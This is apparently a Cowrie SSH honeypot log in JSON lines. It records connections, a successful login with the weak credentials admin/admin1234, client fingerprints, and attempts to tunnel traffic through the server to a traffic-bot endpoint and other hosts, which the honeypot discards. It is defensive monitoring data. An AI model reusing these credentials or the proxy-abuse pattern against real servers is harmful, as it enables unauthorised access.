{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":13140,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad35063bd210","protocol":"ssh","message":"New connection: 91.92.40.36:13140 (159.203.135.109:22) [session: ad35063bd210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:04.980524Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:05.547094Z","src_ip":"123.27.168.40","session":"69c07897df68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:05.841134Z","src_ip":"45.153.34.195","session":"4edfd1d6c076","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:05.976994Z","session":"69c07897df68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:06.079918Z","session":"69c07897df68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.8","message":"Connection lost after 13.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:06.192472Z","src_ip":"91.92.40.36","session":"81616efcb414","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:06.350725Z","src_ip":"123.27.168.40","session":"69c07897df68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=RjkhMDI0OHN9SlpKRUNTNA%3D%3DO0desKXxW%2B2wb%2BtX5gwiuf2rCLklFN9wQ6WaYqKJ544vH2Tg%2FgO1q32uYiFf9IAyES3kCMhP%2Bl9ndUePDyzpVjO%2FFfUwCvBziUSEMWqkV0zn0CWnk3AKDrhqv%2F3YHk5cOCmbcoZTrDilg5ecZOy3ROir4QLH2tCu0IzxnrCTbzK8MFgbmEj%2BPNg9y3QOdX0Jx3ZD2znq%2BTNw36hr1owus3%2BjZsQIadUYr00dk3Rghzw1U3G7p%2BOX31MqkdJ8ear2CC4aSLRsw5I8fGNgs%2BDkfezRWb1zoTYdKRzt64H3AbykK%2BjxFA5jg6dtrUMmyUsz81rgHI6TeCN%2BSbLz4p%2F24nqHye7u2Ym21oQUJaHTBI7HyR5l%2Fkpsz9srCT3ImNGmz75dNmdgoDtEf8jnMsvSqA9UXJvhrRa1H1OhU%2BqklxuWyHoiJS7UXmEGG%2BE4JP4sQxTTU6vVf%2F8Oib%2F%2B4jgbNa3XCXuIZ1Pc7A%2BQy9c9UtUmNEP%2BWxROaSWTxrIdqlzVFa8z%2BO6s4AOpgn0uqznRsKGMDgq%2BFjWFRE9wFJHuqMrqvWSfCrNpEtNPcN9GNf3ZpEVFZeYi1VriPD9W9hwbaSBYhqZGh6WqCfb2S1rkCs8P53YdcCwR2d3F4i2GpbZGqIuOpWul2q8HQzzkHjsSSg%2F3gZJPAL63pxDsJiqgTXIvwE1YyBwearuCPAo4xY7MNrSqsGV%2BKO%2FC%2FYNxjPc3rBd2vl2b99vW86gRQUAO75ZA1DE6bqcynF92Q5uyKHsq2nHIWMb7vOSkkB1LaE6IISbyav8AKLr31tDDSip4Mfdf4GTa46Mby7luqw9quj1GpsUNB063UmHJYvR7Xi%2FMj8GuPzANDugWbKjsK0cxDmX6lXalxIc8YDAyXVXLFzLT%2Bnlq%2Fa2Xf4X8W77P%2FfeDyGRSt3JdYhTLZ2wlDBwE82%2FI%2BVezui%2BnNFRmWpyUNFTy7nOgFf2Ut0Ga6LnKN7UgsoGVFFdR6sScIXF%2BKSgc6fDAd%2Bm3ohpM7WOuW3CX0MJeIW8oIL52EfrbGEfOZhtMDYXRJSIsEEdM%2BdrdkNJAQ3az7qciMfHN0Bw0Su64yOc1'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=RjkhMDI0OHN9SlpKRUNTNA%3D%3DO0desKXxW%2B2wb%2BtX5gwiuf2rCLklFN9wQ6WaYqKJ544vH2Tg%2FgO1q32uYiFf9IAyES3kCMhP%2Bl9ndUePDyzpVjO%2FFfUwCvBziUSEMWqkV0zn0CWnk3AKDrhqv%2F3YHk5cOCmbcoZTrDilg5ecZOy3ROir4QLH2tCu0IzxnrCTbzK8MFgbmEj%2BPNg9y3QOdX0Jx3ZD2znq%2BTNw36hr1owus3%2BjZsQIadUYr00dk3Rghzw1U3G7p%2BOX31MqkdJ8ear2CC4aSLRsw5I8fGNgs%2BDkfezRWb1zoTYdKRzt64H3AbykK%2BjxFA5jg6dtrUMmyUsz81rgHI6TeCN%2BSbLz4p%2F24nqHye7u2Ym21oQUJaHTBI7HyR5l%2Fkpsz9srCT3ImNGmz75dNmdgoDtEf8jnMsvSqA9UXJvhrRa1H1OhU%2BqklxuWyHoiJS7UXmEGG%2BE4JP4sQxTTU6vVf%2F8Oib%2F%2B4jgbNa3XCXuIZ1Pc7A%2BQy9c9UtUmNEP%2BWxROaSWTxrIdqlzVFa8z%2BO6s4AOpgn0uqznRsKGMDgq%2BFjWFRE9wFJHuqMrqvWSfCrNpEtNPcN9GNf3ZpEVFZeYi1VriPD9W9hwbaSBYhqZGh6WqCfb2S1rkCs8P53YdcCwR2d3F4i2GpbZGqIuOpWul2q8HQzzkHjsSSg%2F3gZJPAL63pxDsJiqgTXIvwE1YyBwearuCPAo4xY7MNrSqsGV%2BKO%2FC%2FYNxjPc3rBd2vl2b99vW86gRQUAO75ZA1DE6bqcynF92Q5uyKHsq2nHIWMb7vOSkkB1LaE6IISbyav8AKLr31tDDSip4Mfdf4GTa46Mby7luqw9quj1GpsUNB063UmHJYvR7Xi%2FMj8GuPzANDugWbKjsK0cxDmX6lXalxIc8YDAyXVXLFzLT%2Bnlq%2Fa2Xf4X8W77P%2FfeDyGRSt3JdYhTLZ2wlDBwE82%2FI%2BVezui%2BnNFRmWpyUNFTy7nOgFf2Ut0Ga6LnKN7UgsoGVFFdR6sScIXF%2BKSgc6fDAd%2Bm3ohpM7WOuW3CX0MJeIW8oIL52EfrbGEfOZhtMDYXRJSIsEEdM%2BdrdkNJAQ3az7qciMfHN0Bw0Su64yOc1'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:06.356000Z","src_ip":"123.27.168.40","session":"69c07897df68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":53279,"dst_ip":"10.17.0.5","dst_port":22,"session":"7638a0408852","protocol":"ssh","message":"New connection: 63.141.242.2:53279 (10.17.0.5:22) [session: 7638a0408852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:06.527265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:06.546246Z","src_ip":"63.141.242.2","session":"7638a0408852","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:06.577901Z","src_ip":"123.27.168.40","session":"69c07897df68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x88\\xec\\xce.\\xa6[\\xd1\\x81L\\x07\\xbf-i\\xee\\xfa\\xc3\\xfc\\x06\\xac'\\x05w\\xa7\\xa8?\\x1a\\xc3-\\xba\\xe93a \\xa5\\xe0\\xb59\\x9c2\\xe5\\x97\\xe3*\\xdd\\xe5\\xfe\\x04T\\x17r\\x1a\\xd8\\x8cL\\xb1\\xe76Q\\xc2$\\xb3\\xe2\\xe3F]\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x07\\x00\\xd7I\\xafTZ?q\\xd8\\xa3\\xac\\xbb\\xb1\\xaf\\xdd\\x07\\xef\\xad\\x86\\r\\xc0\\xe3\\xc1\\xc2\\xfc\\x96\\x84\\x83QX6\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x88\\xec\\xce.\\xa6[\\xd1\\x81L\\x07\\xbf-i\\xee\\xfa\\xc3\\xfc\\x06\\xac'\\x05w\\xa7\\xa8?\\x1a\\xc3-\\xba\\xe93a \\xa5\\xe0\\xb59\\x9c2\\xe5\\x97\\xe3*\\xdd\\xe5\\xfe\\x04T\\x17r\\x1a\\xd8\\x8cL\\xb1\\xe76Q\\xc2$\\xb3\\xe2\\xe3F]\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x07\\x00\\xd7I\\xafTZ?q\\xd8\\xa3\\xac\\xbb\\xb1\\xaf\\xdd\\x07\\xef\\xad\\x86\\r\\xc0\\xe3\\xc1\\xc2\\xfc\\x96\\x84\\x83QX6\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:06.580936Z","src_ip":"123.27.168.40","session":"69c07897df68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:06.631345Z","src_ip":"63.141.242.2","session":"7638a0408852","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:07.036609Z","session":"69c07897df68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20370,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e24f3f98556","protocol":"ssh","message":"New connection: 45.153.34.195:20370 (10.17.0.5:22) [session: 3e24f3f98556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:07.229853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:07.238114Z","src_ip":"45.153.34.195","session":"3e24f3f98556","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:07.268648Z","src_ip":"123.27.168.40","session":"69c07897df68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xaa\\xd2V\\x15b\\xd93c\\x0e\\xd93\\x06\\x0eX\\xec\\xe4\\x9f\\te\\x96\\xacU\\x93\\n\\x05\\r\\xf7\\xd7\\xf0\\x81-\\xf4 <\\xbc\\xe7\\x1c\\xca\\xd8Vy9Y&\\xa2.\\xe62\\x9d\\xeb\\x0e\\xf1Y\\xe5N\\x11j\\xea4M\\xa8\\x0485\\xea\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbf\\xf4\\x0b\\x0b\\x84|\\\\Z$\\xc0|\\x85k\\xdb\\xaf#\\x1et~H\\x9d\\xa1\\x8b[9\\xed5\\x02\\x98\\xb4\\xddk\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xaa\\xd2V\\x15b\\xd93c\\x0e\\xd93\\x06\\x0eX\\xec\\xe4\\x9f\\te\\x96\\xacU\\x93\\n\\x05\\r\\xf7\\xd7\\xf0\\x81-\\xf4 <\\xbc\\xe7\\x1c\\xca\\xd8Vy9Y&\\xa2.\\xe62\\x9d\\xeb\\x0e\\xf1Y\\xe5N\\x11j\\xea4M\\xa8\\x0485\\xea\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbf\\xf4\\x0b\\x0b\\x84|\\\\Z$\\xc0|\\x85k\\xdb\\xaf#\\x1et~H\\x9d\\xa1\\x8b[9\\xed5\\x02\\x98\\xb4\\xddk\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:07.272804Z","src_ip":"123.27.168.40","session":"69c07897df68","protocol":"ssh"}
